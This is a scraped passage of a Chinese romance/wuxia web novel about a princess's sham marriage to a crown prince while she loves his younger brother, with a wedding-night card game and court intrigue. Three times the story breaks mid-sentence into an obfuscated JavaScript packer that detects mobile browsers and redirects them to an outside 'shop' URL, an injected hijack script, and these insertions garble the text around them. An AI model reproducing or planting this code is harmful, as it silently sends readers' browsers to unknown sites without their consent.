李如霜见他仍不说话,赫连昭那双沾了憨劲儿的眼睛,就这么愣愣地看着她,便假意要走。 赫连昭以为她生气了,再顾不得其他,快走几步将她圈在怀中,下巴放在李如霜发顶,闻着她发丝上皂角的香,其中还有淡淡的香栾味。 “公主,我......我错了。”赫连昭紧紧地抱着李如霜,他怕一撒手,她就变成别人的妻子,只对着那个人笑,对着那个人哭,跟那个人翻云覆雨。 他实在接受不了这样的事情,将自己心中的感情全都说给李如霜听。 “其实在见你的第一面,我就心悦你了,那时你的头发全都散了下来,好像仙女......”赫连昭回忆着他们之间的一点一滴。 “即便我们认识不久,你可能会觉得我幼稚,但我还是要说出来,我赫连昭,心悦你!”赫连昭不敢听怀中的人,是什么样的反应,一股脑将自己心中所想全倒出来。说完之后,李如霜也没有反应,他心中发毛。 半晌,李如霜笑出声来,赫连昭有些懵,手臂松余了些,心想她这是不接受自己吗? 只见李如霜转过身来,睫毛上还挂着泪珠,瘪嘴道:“你这个傻子!” 从前赫连昭被父王训的时候没慌,九死一生的时候也没慌,唯独见着眼前这个女人的眼泪时,顿时慌得手足无措,用手擦着脸蛋上的泪。 “你怎么哭了,被我感动到了?”赫连昭想逗她笑一笑,谁料李如霜哭得更厉害,涕泪直流抽抽搭搭的。 她等赫连昭今日这番话,等了两年多,如今如愿以偿,她喜极而泣竟收不住眼泪了。 李如霜哭累了倒在赫连昭怀里,瓮声瓮气道:“赫连昭,你不是问我,咱们之前认不认识吗,嗝!” 她突然打起嗝来,“咱们早..嗝...早就私定终身了,这事赫连煜嗝...也知道。”赫连昭拍她的背帮她把气顺下去。 他隐隐约约猜到了,李如霜刚到长安就来找他,之后种种不言而喻。 李如霜被这个嗝搞得一句完整的话都说不出来,刚止住的泪又掉下来,她哭诉:“都怪...嗝...你赫连昭,我都...嗝...打定主意不会为你掉一滴泪了!” 赫连昭拿她没办法,只好把错都揽到了自己身上,不管什么都是自己的错。 半晌,终于消停下来,李如霜的小脸哭得红扑扑的,两人此时都通了心意,解开心结。 赫连煜吃了饭回来,看到他俩抱在一起,重重地咳嗽了一声。 “你们不饿吗?”他眯着眼睛盯着二位。 李如霜脸更红了,猛地从赫连昭怀中跳起来,支支吾吾道:“好像是有点饿了。”她慌忙擦去泪,装作若无其事的样子。 赫连煜叫厨房专门做了菜,李如霜和赫连昭吃过之后,三人聚在侧殿。 李如霜和赫连煜的婚期不日前便昭告天下,已成定局,赫连煜此时无法向父王禀明自己娶不了李如霜,于他的地位无异,而李如霜的身份也会被人怀疑。 南州此时需要赫连的帮助,李如霜绝不能逃婚,赫连昭前去抢婚更没有道理。三人合计来合计去,也没找到一个真正可行的方案。 “要不你真嫁过来得了,咱俩自己过自己的,反正你如今也在我府中,和嫁过来有什么区别。”他们从中午聊到晚上,赫连煜实在心力交瘁,他仰着头放空大脑道。 赫连昭大惊:“这怎么成!” “那你们说,怎么办?”赫连煜再想不到比这更简单的法子,什么力气都不用出,而且一点破绽没有。 李如霜也找不到其他的破解之法,她在心里也比较认同赫连煜,但她不敢说,偷偷看着赫连昭表情。 李如霜和赫连煜心中倒是没什么可介怀,赫连昭却实在有些不安,如果他们成了婚,他与李如霜可不就真成了叔嫂的关系。 若他们是小门小户,闹一闹婚事作废也就罢了,但这可是两国结姻亲,稍微有一点动静就天下皆知,李如霜安慰赫连昭道:“看来只能这样,你别不放心,我和赫连煜都多少年的老友了,你不信我,还不相信你皇兄吗?” 赫连昭听了瞬间愧疚起来,他也觉得自己应当相信皇兄和李如霜,皇兄已经处处为他着想,他又怎么能够怀疑皇兄。 自小到大,皇兄就是他一直在追逐的人,兄长让他往东他就不往西,甚至两年前得知兄长有危险,想到这他头又微微刺痛起来。之后的事......又是一片空白,似乎两年前的事情他都不记得了。 为避免疼痛加剧,赫连昭不再去想那些。 看着兄长疲惫的神态和李如霜肿着的眼睛,赫连昭心疼道:“皇兄,就按你说的办吧。” 大婚这天,李如霜睡得正香就被下人拽了起来。这个时候她已经搬到了外面庄子中,毕竟这个成亲的仪式不能糊弄,今日赫连煜还要来接她,一路八抬大轿到太子府。 看了眼窗外,天都没亮,李如霜打了个哈欠,被嬷嬷扯着到镜子前。 “鸡还在睡觉,新娘就要起来,真是太折磨了。”真的婚礼,假的夫妻,李如霜对今日没什么期待,左不过是装装样子。 她像木偶一样任由嬷嬷摆布,不一会儿妆面就成了,李如霜平时不会化这样浓的妆,如今看着镜子中的自己,有种看着另一个人的错觉。 及腰长发绾成新娘的发髻,凤冠霞帔,衬得她喜气洋洋。李如霜一言不发地看着镜子,心想若是今日嫁的是赫连昭该多好,这样他就能看到自己打扮得如此灼盛风华的一面。 女子若是有了心爱之人,定是想要自己每个美丽的瞬间,都能被心爱之人所看到的。 “呦!这是谁家的新娘子啊?” 李如霜听到声音,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633005|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛一看,镜子中,赫连昭那张俊脸悄然出现在自己身后,她一时有点娇羞,低着头不看他。 赫连昭把嬷嬷都支走,扳过李如霜的身子,搂住她柔软的腰肢,手抵着李如霜的下巴让她看着自己。 凤冠哗啦地响着,烛火幽暗,赫连昭看着李如霜,一眼都舍不得移开。 “多希望,那个来接亲的人是我。”赫连昭言语中万般柔情,李如霜感受到腰间炙热的温度,赫连煜强烈的占有欲一下子刺破心防,她的身子突然软了下来。 李如霜扶着赫连昭的胸膛,声音婉转动人:“赫连昭,你怎么来了?” “叫予昭,这是我的小名。”赫连昭摩挲着她的脸道。 予昭,李如霜感觉心脏漏跳了一拍,赫连昭没失忆之前,也将这个不为人知的小名告诉了她。 李如霜浅浅地笑道:“好,予昭。” 南州女子出嫁之前,需要哥哥或者弟弟背着上花轿,在赫连自然不必遵守。两国联姻,赫连昭是作为接殿使,代表赫连王室迎接南州公主而来,一路护送太子与公主至太子府。 今日虽然李如霜与赫连煜是假成婚,赫连昭也不允许出一丝差错。 上花轿之前,他仔细地检查着李如霜全身上下,妆面有一点点花便让嬷嬷来补,大红嫁衣蹭上灰亲手扑掉。 赫连昭眼睁睁看着盖头落在了李如霜的头上,盖住了她倾世的容颜。他安慰自己,这样也好,盖上盖头省得被别人看到。 李如霜坐在轿子中,那轿子出奇地稳,一点也不晃,她偷偷先开盖头,透过轿子帘上的缝隙看着外面,赫连煜骑着一匹枣红色骏马,在赫连煜右后侧缓缓地行着。 他离自己很近,这个角度刚好能看到他伟岸的身姿,李如霜捂着嘴笑得像吃了蜜。 太子府门前围了一群皇亲国戚,都等着看太子妃下轿,李如霜这时还扒拉着帘子,突然看到一个十分熟悉的人站在太子府门口。 这位手摇玉扇,一身书生气的人不就是陈无阙本人。 轿子缓缓落下,李如霜急忙坐了回去,把盖头披在自己头上,由嬷嬷搀扶着下了轿。她听着周围人的欢声笑语,突然感觉心中发慌,旁边的婆子被她攥得吃痛。 忽地一股若有若无的暖香钻入她的鼻子,李如霜慌乱的心瞬间安定下来。 走完仪式所有的环节,李如霜在新房中坐着。感觉到喧闹的声音离远,她拿下盖头,引得服侍的丫鬟惊呼:“太子妃,这盖头须得夫君才能掀开,您自行揭开怎么能成呢?” 李如霜立起食指放在那丫鬟的嘴前,“打住!没有那么多规矩。”她饿得不行,摸了摸床褥果然有花生莲子红枣等这些干果,她掀开被子,拨了一颗花生就吃了起来。 几个丫鬟均面露难色,想要说些规劝的话,都被李如霜瞪了回去。 人是铁饭是钢,怎么能饿肚子呢,这些干果放着也没用,不如让人吃了,进到肚子里才是大大的用处。 19. 洞房打牌 李如霜吃着,突然听见后屋传来脚步声,这脚步声一般人察觉不到。她眼珠转了一圈,对身边的丫鬟道:“行了,你们都下去吧。” 几位丫鬟面露难色,面面相觑道:“这......” “让你们出去就出去,哪来什么这这这的,连主子的话都不听了吗?”李如霜常年在战场的杀伐之气显露出来,丫鬟们有点怕她,于是都弯腰退在门外守着。 李如霜满意地看着紧闭的房门,随后匆匆到了后屋,只见赫连昭拎了个食盒,冲她晃了晃。 她顿时两眼放光,上前打开食盒。赫连昭宠溺地看着她道:“这是从厨房拿的饭菜,你那么早起来都没吃上一口热乎的,肯定饿了。” 赫连昭盛了一碗饭,摆在李如霜面前,再将筷子递给她。李如霜先吃了一口白米饭,软糯甘甜,她忽然意识到赫连昭似乎跟着迎亲队伍一路到太子府,也没吃什么东西。 “怎么只有一双筷子,快坐下,我喂你。”李如霜用手接着筷子上的小炒肉,送到赫连昭嘴边,赫连昭笑着咬了一口道:“不用管我,我刚在小厨房吃过了,你顾着自己就行了。” 月尔若从后房门进来,看见李如霜和赫连昭如此亲密,不由得怒气横生,跺着脚走上前去。这太子妃也太不知廉耻,竟与小叔子如此亲密。 李如霜和赫连昭本就心中有鬼,害怕被别人发现,月尔若一来果真将他们吓一跳。 “赫连昭,表哥让你帮他挡酒,他说了一句什么来着?啊,表哥说他忙都帮到底,你就别做局外人了。”月尔若不明白,追着赫连昭问什么意思。 李如霜与赫连昭听了这话,顿时觉得惭愧,赫连昭直说这是他们哥俩之间的事,让月尔若少管,便匆匆从后门离去。 月尔若面色不善,看着李如霜,而后者旁若无人地吃着饭。 “嫂嫂,既然都嫁给我表哥了,你还有什么不知足啊,就别再沾花惹草了。”她刚刚可是看得一清二楚,李如霜与赫连昭就差脸贴脸了。 这要是被表哥知道了,他得多伤心啊,而且她还没见过赫连昭对一个女人这么好,就连她从小和他一起长大也不行。 李如霜算是看出来了,这小姑娘原来喜欢赫连昭,小眼神都在冒火星。 她觉得有趣,自己还从来没有和喜欢赫连昭的女子面对面,此时倒觉得新鲜,李如霜逗她说:“嫂嫂关心一下小叔子有没有吃饭,这也是尽到了长辈的责任。” 月尔若见她竟然拿辈分压她,心中不服,刚要开口,忽然前屋有人敲窗道:“太子妃,奴婢进来了!” 李如霜有些烦:“不是让你们在外面......” 倏地,她觉得刚刚的嗓音十分耳熟,有些欣喜地叫道:“玉棉!快进来!”李如霜好些日子没有看到玉棉,她行军之前将玉棉留在太子府了,兴许回来的这些日子玉棉在太子府别处做活。 玉棉穿着一水翠绿的衣服,也拿着一个食盒进来,她看见小姐桌上摆了菜,有些失落,自己白拿这些糕点了,疑惑到底是谁抢了她的先。 李如霜拉她过来,完全把月尔若晾在一边,她掀开玉棉的食盒,里面竟都是她爱吃的各色糕点。 “玉棉,这糕点拿得太对,我想这一口很久了。”她没吃太多菜,此时肚子还有余空装糕点。 自己拿的糕点小姐吃得极香,玉棉先头的失落一扫而光,心中十分满足。李如霜把她按在凳子上道:“玉棉,你吃饭了吗,不嫌弃我的话就用我这双筷子吃点。” 月尔若见着主仆二人无视自己,咬牙切齿哼出了声。 李如霜这才意识到月尔若还留在这,她有些疑惑但还是邀请她:“要不,你也坐下一起吃,我让人拿双筷子去。” 月尔若更是气急,“谁愿意和你一桌吃饭,你还和下人同坐一桌,你......”她词穷理尽,指着李如霜说了好几声“你”,发现自己想不出什么词应对,脸涨得通红,气急败坏地走了。 正厅宴请宾客,作为新郎官的赫连煜自是被灌了好些酒,他晕晕乎乎中,思绪有点混乱,脑中一直想着,下次再有这种事情,他可不帮忙了。 赫连昭到了赶忙扶住赫连煜,他是上古五毒体,鸠毒尚且不怕,更何况这琼浆玉液。此人是真正的千杯不醉,喝了一圈一点事都没有。 李如霜待在新房哪里也不能去,她让玉棉偷偷弄了一副骨牌过来,又拉着两个太子府的丫鬟凑齐一桌。 打起牌来时间过得很快,不一会儿天就黑了。 她们笑着闹着直到三个男人进了屋,李如霜眨着眼睛看着眼前这三人,赫连昭身上虽然有些酒气,但依旧神采奕奕,赫连煜脸上带着红晕,站也站不稳扶着旁边的陈无阙。 “客人到底给你们灌了多少,赫连煜我这次又欠了你一个大人情。”李如霜关心地倒了一杯热茶递给赫连煜,吩咐玉棉道:“快给太子熬醒酒汤去!” 陈无阙手中玉扇拦住玉棉道:“不必这么麻烦,我给他扎两针就好了。” 他从袖口抽出三根银针,悬于手心,随即大手一挥,银针扎向关冲、百会和商阳三处穴位,陈无阙在银针中注入真气,刹那间,银针颤抖着熠熠生辉。 赫连煜打坐调理内息,不一会儿便头顶冒水汽,额头渗着细汗,随即耳清目明,酒劲完全散去,陈无阙“妙手寻春”这个称号真不是白得的。 自从早上在轿子中看到了陈无阙,李如霜心中积了许多事情要问他,但此时众人皆在,并不是个好时机。 正好刚刚打了几把牌还没过瘾,她招呼三个男人过来替几位丫鬟,赫连煜站起来道:“先把正事做了。” 他真是为了赫连昭这个弟弟操碎了心。 众人瞧着他从枕头底下抽出一张白色绢布,玉棉好奇地问李如霜:“小姐,这是什么啊?” 李如霜有些羞赧道:“这是落红布,用来接那什么的。” “什么呀?”玉棉云里雾里,小姐怎么不直接说呀。 只见赫连煜拿起短刃在小臂处割了一刀,鲜血瞬间涌出,滴在那白布上,玉棉吓得一哆嗦,闭上了眼睛。 见白布染血,赫连煜才放了心,将那布条放回去。 屋内其他闲杂人等一概被清了出去,只留下玉棉一个人伺候。李如霜、赫连昭、赫连煜和陈无阙正好一桌,几人哗啦哗啦洗着牌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633006|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谁能想到,堂堂赫连王室太子的大婚之夜,是在打牌中度过的。 牌桌上闲聊时,李如霜将陈无阙来此地的目的搞了个清楚。 陈无阙与李如羽一同来此,更准确点是被李如羽硬拖过来的,萧婉柔也跟着来到长安。当日李如霜从将军府出嫁后失踪,李如羽就觉得不对劲,以他妹妹的功力,有几个贼能打过她。 他从失踪的地方一路寻过去,只找到一件嫁衣。李如羽又闯进了陈府,看到陈无阙气定神闲的样子便揪住他的衣领,心想他妹妹失踪这么多日,没见陈无阙出力找过,好歹他们兄妹和陈无阙是多年的老友,可陈无阙呢,却可以当做什么事情都没有发生。 李如羽胸膛起伏不停,忽听屋内有女子的声音,破口大骂陈无阙金屋藏娇,他踹开门而入却发现屋内的女子竟是萧婉柔。 事已至此,陈无阙只好告诉李如羽实情。李如羽回府后,李安雄问他有没有找到李如霜的下落,他让父亲别问了,妹子很安全。 李安雄心中猜了个七七八八,从小看到大的孩子,什么脾性自己心里还不清楚吗,李安雄摇头直说这孩子太胡闹了。 恰逢南州皇室命李如羽为使臣前往赫连,李如羽就威胁陈无阙必须跟去。 枪头横在脖颈陈无阙也不慌,心中算着似乎给赫连煜配的药不够了,他得重新再给配一些,便跟着李如羽来了赫连。 否则,陈无阙的武功也不低,他若不愿意,李如羽怎会这么轻松就能胁迫得了。 “上听了!”赫连昭激动地吼了一嗓子,只要别人再打一张天牌他就能胡了。 四人又摸了一圈,只听坐于东面位子的赫连煜将手中牌一撂道:“诸位,我胡了。” 李如霜看着自己的臭牌,胸口太闷,她离了位子去看赫连煜摊在桌上的牌,直呼:“你手气也太好了吧!” 烛火一直燃到天明,四人越玩越兴奋,玉棉也跟着伺候了一夜,这几人都把第二日进宫的事给忘了。早上换班的丫鬟进来,被地上倒着的五个人吓到了。 太子和太子妃昨晚闹洞房这么激烈的吗? 两个小丫鬟轻轻推着李如霜和赫连煜,无论如何都叫不醒,但进宫面圣可晚不得,她们只好请了嬷嬷来,几个婆子手劲大。 将半梦半醒的李如霜拽起来沐浴更衣,旁边赫连煜也不能幸免,两人顶着厚重的黑眼圈被抬进马车中,二人进了车倒头就睡。 赫连王看着李如霜与赫连煜无精打采的样子问道:“昨夜,太子与太子妃折腾太晚了吗?” 还真被他猜对了,李如霜和赫连煜皆露出被拆穿的神色。但在别人看来,此二人面带羞涩,果真是新婚燕尔,如胶似漆,羡煞旁人。 李如霜拜过赫连王后,退到一旁,李如羽对她挤眉弄眼,心想这妮子不会真跟赫连煜假戏真做了吧。 李如霜不明白兄长是什么意思,只当他眼睛里进沙子了。 朝堂之上均是恭喜赫连煜的声音,只听金承德喊了一声肃静,大臣们便噤若寒蝉。 李如羽来是为了与赫连王室商议借兵的事情,此时不讲更待何时,他从右侧走出拱手站在中间。 20. 相顾忘言 “王上,南州战事吃紧,借兵之事您的意向如何?”李如羽心中忐忑,自从那日看过罗燕金钱树后,赫连王至今也没提这事,就好像把他说的话忘了一般。 赫连王确实是忘了,他逐渐回忆起当日之事,缓缓开口:“你们的诉求孤知道,曾经南陵国来找过孤,要借道攻打南州国,但被孤拒绝了。” 如今赫连与南州有姻亲关系在,再加上是邻国,唇亡齿寒。南陵国炼出的东西如此诡异,他们两国若不联手攻克,恐怕南州倒台,下一个就是他赫连。 这个问题,赫连王拎得比较清,就算他再看不惯南州皇室,这个忙他不帮也得帮。 “所以,孤一定会借兵!”赫连王情绪高涨,声音大了起来。 他看了看阶下的大臣忽地问道:“赫连昭呢,怎么没来上朝?”老十往日上朝可是一日不落,今日究竟是怎么了。 全场鸦雀无声,李如霜猛然惊醒,踢了一脚旁边的赫连煜,赫连煜眼皮都快闭上了。 她情急之下,一把将赫连煜推到大殿中间,赫连煜还在睡梦中,睁开眼睛就发现自己被父王盯着。 他瞪着站在远处的李如霜,她也没告诉自己父王问的是什么,让他如何回答!感觉到父王的视线,赫连煜立马恢复了面无表情的臭脸。 赫连王有些疑惑道:“煜儿,难道你知道你十弟为何没来吗?” “昭儿他昨日在儿臣府中玩得太晚了,今日应该没起来。”就连他都是被仆从强拽着来上朝。 赫连昭没有带他的下人来,此时正在太子府的新房中,一条腿搭在陈无阙身上,睡得正香。 赫连王听后口头斥责了赫连昭几声,随后无奈道:“昭儿不在,只能请雪妃前来了。王子们和太师太相留下,诸位爱卿都散了吧。” 金承德一挥手,小太监就明了,立即去请雪妃娘娘。这位雪妃莫怜香,是北寒冰室的公主,也就是赫连昭的娘。 赫连王与众人商议过后,决定让赫连军队休整一月就前往东南与南州李家军会师。 “雪妃娘娘到!”小太监高亢的声音响起,李如霜好奇地回头看去,这位雪妃娘娘可谓是雪肤花貌,鹤发无双,身着紫霞拖尾朝他们款步走来。 莫怜香微微屈膝,问了声:“参见王上。” 赫连王看着这位许久没见的雪妃,恍若隔世。他还年轻四处征战时,意图吞并北寒冰室,可北寒冰室全民制毒,让他碰了一鼻子灰。 全军一绝不振之际,他遇见了莫怜香这个机灵古怪的丫头,她治好了将士们的毒,还带他去见了莫仇凉。 “臣妾对南陵国的雪灵门早有耳闻,不成想他们居然用毒来做伤天不义之事。”莫怜香的话打断了赫连王的回忆,将他的思绪拉回朝政殿中。 “你可有应对的法子?”赫连王问道。 莫怜香思寻了一阵说:“也许星头鬼笔能够与之分庭抗礼,臣妾需要几个南陵士兵的躯体。” 赫连王思来想去还是命赫连煜去一趟战场,带回那鬼兵。赫连煜为赫连国第一冠剑,剑术超群,若是派了他人,他不放心。 李如霜下朝回了太子府,发现陈无阙和赫连昭都走了,她也不管三七二十一,眯着眼睛脱完鞋,倒在床上立马就进入了梦乡。 李如霜和赫连煜离开太子府前往皇宫后,赫连昭睡到日上三竿才醒,他隐约感觉自己好像忘记什么事情,便问下人太子去哪了。 听到下人回太子已经上朝去,他如梦初醒,立即从地上跳起来,这一身酸臭带着酒味的衣服赫连昭实在嫌弃。于是先回自己府中换了一身干净衣裳,随后立即进宫向父王请罪。 父王也没说什么重话,只是关心他的身体,和一些琐碎的事情,末了让他给母妃问个平安。 赫连昭刚进霜寒殿,母妃身边的侍卫郎佳佑匆匆走出来。赫连昭拦住他问:“母妃在吗?” 郎佳佑似是很着急,点了点头就走,赫连昭不解,几步跨进了正堂之内。只见母妃对着紫檀木盒发愁,没有注意到他。 赫连昭蹑手蹑脚走到莫怜香身后,大声喊道:“母妃!” 莫怜香浑身打了一激灵,腿一软从凳子上滑坐在地,定睛一看原来是自己的宝贝儿子,她嗔怒道:“赫连昭!是不是皮紧了要让我给你松松!” “别!”赫连昭赶忙将她扶起来,熟练地捏着莫怜香的肩膀,力度正好。 他看着桌子上,这不是装星头鬼笔的紫檀盒吗,母妃怎么又将它拿了出来。 “母妃,你怎的把这东西拿出来了。”赫连昭边捶肩边问。 莫怜香叹了口气道:“南陵国的鬼兵之事,你父王求我了,我听着那症状和吃了白鬼伞的症状有些相似,星头鬼笔也许能派上用场。” 赫连昭小声嘟囔:“父王怎么不找我,我也可以帮忙啊。”他这话一出,雪妃一巴掌揍上他脑门,给赫连昭打得直趔趄。 “你还说!昨晚又在哪鬼混,今早你父王都问你了,谁承想他这个傻大儿根本就没上朝!”莫怜香脾气像炮仗一样,一点就着。 赫连昭摸着脑袋有些委屈,母妃今日怎会如此暴躁,他这不是真没起来嘛。 “你坐那,我问你。”莫怜香手指着她右边的香榻道,“太子都成婚了,你有没有心仪的女子。” 王上现在这八个王子中,在莫怜香看来,比较出众的就五个。 太子性格冷酷、武功高强深得圣意,五王子运筹谋算七窍玲珑心。三王子虽然比较平庸,但其行事狠辣乖张,也积攒了一波势力。王室中人人看扁的九王子,却心思缜密,风骨盎然,在民间颇具盛名。 最后一位就是她这个儿子赫连昭,背靠北寒冰室,承袭上古五毒体,练就斩狼诀。明明老天给了他一手好牌,但他却整日不干正事。 既不拉拢权臣,也不收揽名声,只有她整日在宫中干着急。尤其昨天太子成婚,让她为赫连昭的婚事操心起来。 莫怜香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644206|143643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得月尔若这个小姑娘就很好,月尔若是太相的孙女,心中还对赫连昭有情,若昭儿能娶了她,便可得到相府的支持。 母妃问他心仪的女子,赫连昭脑中浮现出李如霜的曼妙身姿。莫怜香见昭儿不说话,但他上扬的嘴角却瞒不住她,原来昭儿心中已经有了人选了。 “你且说说看到底是谁?”莫怜香有些好奇。 赫连昭不能说,只道没有那回事,让她别费神了。这样的说辞无法将莫怜香搪塞过去,既然赫连昭不想说,她也不难为他,便说:“太相的孙女我看不错,就她吧,别的你也别想。取了正妃,其他喜欢的你随便纳进府。” 她越说赫连昭脸越黑,到最后赫连昭直接站了起来,低沉着声音道:“母妃,我对月尔若没有感情,无论如何都不会娶她。” 莫怜香似是没有想到他会是这样的反应,愣了半晌才道:“行,不急,坐下我说正事。” 赫连昭后知后觉自己语气过激,刚才他头脑一热便脱口而出了,现在热气下头赫连昭忽然有点害怕莫怜香的脾气,脚下像踩了棉花一样,缓缓坐回去。 莫怜香将盒子打开,一株带有红色条状触角的白杆放于其中,这就是星头鬼笔。 她郑重其事地说:“等到太子将南陵鬼兵带回来,我有九成的把握能够研制出解药,但如果想要击退他们,光有解药还不够。” 莫怜香瞧了一眼赫连昭,赫连昭知道母妃又在考他,思索了一阵说:“把解药反制成毒,最好是可控的毒气,鬼兵只要活着,就可以吸进体内。这样以来,不仅鬼兵失了原本的特性,反而还中了我们的毒。” 这一番对策让莫怜香很满意,他们北寒冰室王族出生便带毒,这是一个北寒冰室后人对毒应该有的敏感。 赫连昭前脚刚走,赫连王便进了莫怜香的霜寒殿。莫怜香命下人奉了茶,两人相顾无言,她看着眼前,这个可以称之为自己丈夫的人,与脑中初见时的身姿重合。 那时她在城堡中很是无趣,便跑到西漠外的雪原,想要到哥哥莫从南的琉璃殿去,遇到了困在风雪中的军队。 其中一个男人俊美非常,鬓间的长发随风飞舞,凌冽的琥珀色眸子看着她。那一刻,莫怜香就心动了。身子好像不听使唤,替他和军队解了毒,取出莫从南的烈焰风来给他们喝。 还带着他回了城堡,与父皇谈判。父皇十分反对她与赫连王在一起,却管不了她,莫怜香就这样跟着这个一见钟情的男人奔波劳碌,最后进皇宫当了娘娘。 生下赫连煜的女人早死了,刚开始宫中只有她一个人,莫怜香还沾沾自喜。可没过多久,后宫就不断进新人,这个贵族出身,那个名门正派,他又多了好些儿子。 而他却对自己越来越冷淡,王上一到用着她的时候,便假意过来温存几日,随后又把她撇一边。自从赫连昭出生后,赫连王就没怎么来过莫怜香的寝殿,可能是觉得她身上的毒瘆人,怕与自己待一起久了,活不长吧。 21. 幼稚鬼李如羽 “你......近日如何?”赫连王率先开口,雪妃这个女人太过强硬,不会说半点软乎话。他是帝王,怎能向一个小女子低头。 莫怜香以为他来这,是要催促她尽快制出对付南陵鬼兵的毒药,于是不咸不淡地回道:“一切都好,太子把鬼兵带到我这后,不出五日,我便能炼出毒。” 除此之外,再无其他言语,屋外头雀鸟叫了两声,赫连王烦躁地揉了揉眉心,他不想听这些,“你除了国家之事,就没别的与孤讲吗?” 莫怜香将装着星头鬼笔的紫檀木盒盖上,以免王上遭这鬼物的侵蚀,“臣妾还真有一件事要求王上,昭儿也到了婚配的年纪,月尔若这个姑娘不错......” “想让孤指婚?”赫连王凝眉瞥向她,语气听不出起伏,“昭儿本无意卷入朝堂的争斗,况且婚嫁之事还要问过本人才行。” 他岂能不知莫怜香心中算计的事情,只是老十心思澄澈单纯,自己这个做父亲的还不想让他淌入这趟浑水。 莫怜香冷笑,问过本人又怎样,当年她一意孤行跟着眼前人走南闯北,最后还不是两看生厌。 两人僵持着不说话,站在一旁的侍女腿已经开始打哆嗦,莫怜香眼神执拗不肯让步,赫连王败下阵来退一步道:“真要如此?月尔若如果不是昭儿心悦之人,恐怕他没这么容易就范。” 见莫怜香仍固执己见,赫连王叹了口气:“那孤改天问问昭儿的想法。” 话题已了,又是一阵沉默,赫连王沉声道:“就没有关于你自己的事情要与孤说吗?” 眼前的女人低眉:“王上想听什么,臣妾定费心琢磨,好与您闲话。”赫连王知道,她表面看上去温婉体贴,心里不知道骂了他多少句。 他觉得这个女人太不识抬举,自己已经放低姿态,莫怜香的要求他都答应了,她还有什么不知足!现在的莫怜香宁可对着她身边的侍卫笑容满面,也不愿意与他多说一句贴心话。 今日来,本是想与她吃顿饭再走的,可现在生了一肚子闷气,没了那心思。 炕桌上茶杯热气消散,莫怜香赶忙命侍女换一杯,赫连王抬手道:“不必了,金承德!去燕妃那。”金承德手中拂尘甩到肘弯,厉声喊道:“摆驾香鸾殿!” 男人总是有厌倦的时候,讽刺的是自己却仍眷恋着他的温度。莫怜香屈膝作礼,抬头望着转角消失的衣摆,嘴唇咬得泛白。 太子府中喜气未消,但两位新人都不见人影,太子被王上派去了东南战场,太子妃无事却也不在府中。她此穿了一身广绣青衫,摇身一变,成了个俊俏书生,玉棉也扮成了小厮跟在她身边,她们此时正与李如羽和陈无阙走在街上。 上一次他们这样并肩走在一块儿,还是在青州黄城。赫连街市上摆着很多李如霜从没见过的事物,她一边走一边询问着,大饱眼福。 她这边正看着笼子中的彩花鸡,突然被人拍了肩膀,回头就是一大束紫色小花,李如羽手捧着花束,从后面冒出头来冲她露齿一笑。 李如羽嘴唇还没闭上,手中的花就被一阵拳风击碎落了一地。 骨节分明,碗大的拳头差点打到李如羽的脸,李如羽定在原处没躲,睁大了眼睛瞥向拳头的主人。只见那人粗眉碧眸,带着鸟羽耳环,身穿北寒冰室的衣服,袒露着半个胸膛,不是赫连昭是谁。 “你小子想干嘛!”李如羽推了一下那胳膊,纹丝不动。 赫连昭今日照例进宫与母妃商榷如何制毒,顺便把母妃埋在土底下的引子都挖出来提前醒着,出宫路过闹市,寻思买些糕点给李如霜带去,不成想,看到李如羽对李如霜动手动脚。 从达鲁古回长安的路上他们见过一次,赫连昭对李如羽的印象就一个词——流里流气。李如霜说这人一直缠着她,想必这次也定是偷偷跟着李如霜过来的。 赫连昭不放心跟在后面瞧了一会儿,即将打道回府之时,李如羽居然买了一束花送给李如霜。他果真没猜错,此人多次自称是李如霜的兄长,实则对李如霜别有居心。想到这,他的拳就已经出在前头,把那束被他视作包含感情的花打散在地。 李如羽欲哭无泪坐于地上,把散落的花瓣兜在前襟,他咧着嘴哀嚎:“妹子,他把我送你的花都打烂了!呜呜!” 这一个大男人坐在地上哭,引得原本逛街的人都过来看热闹,李如霜和陈无阙真想装作不认识他。 赫连昭抱着膀翻了个白眼道:“她什么时候成你妹妹了,别以为我不知道,你就是想攀南州皇室的关系,李家怎么就出了你这么不成器的儿子。” 听了这话李如羽止住假哭,错愕地指着赫连昭道:“你说什么?”旁边的李如霜捂着嘴憋笑不看他,李如羽察觉到不对劲,又咬牙切齿地指着李如霜。 好你个李如霜,竟敢在背后败坏他的名节,回去之后一定要告诉爹爹! 这下李如羽不装了,直接站起来,拍了拍屁股上的灰,嘴上不吃亏:“我不跟你计较!” 这句话虽然对着赫连昭实则是说给李如霜听。 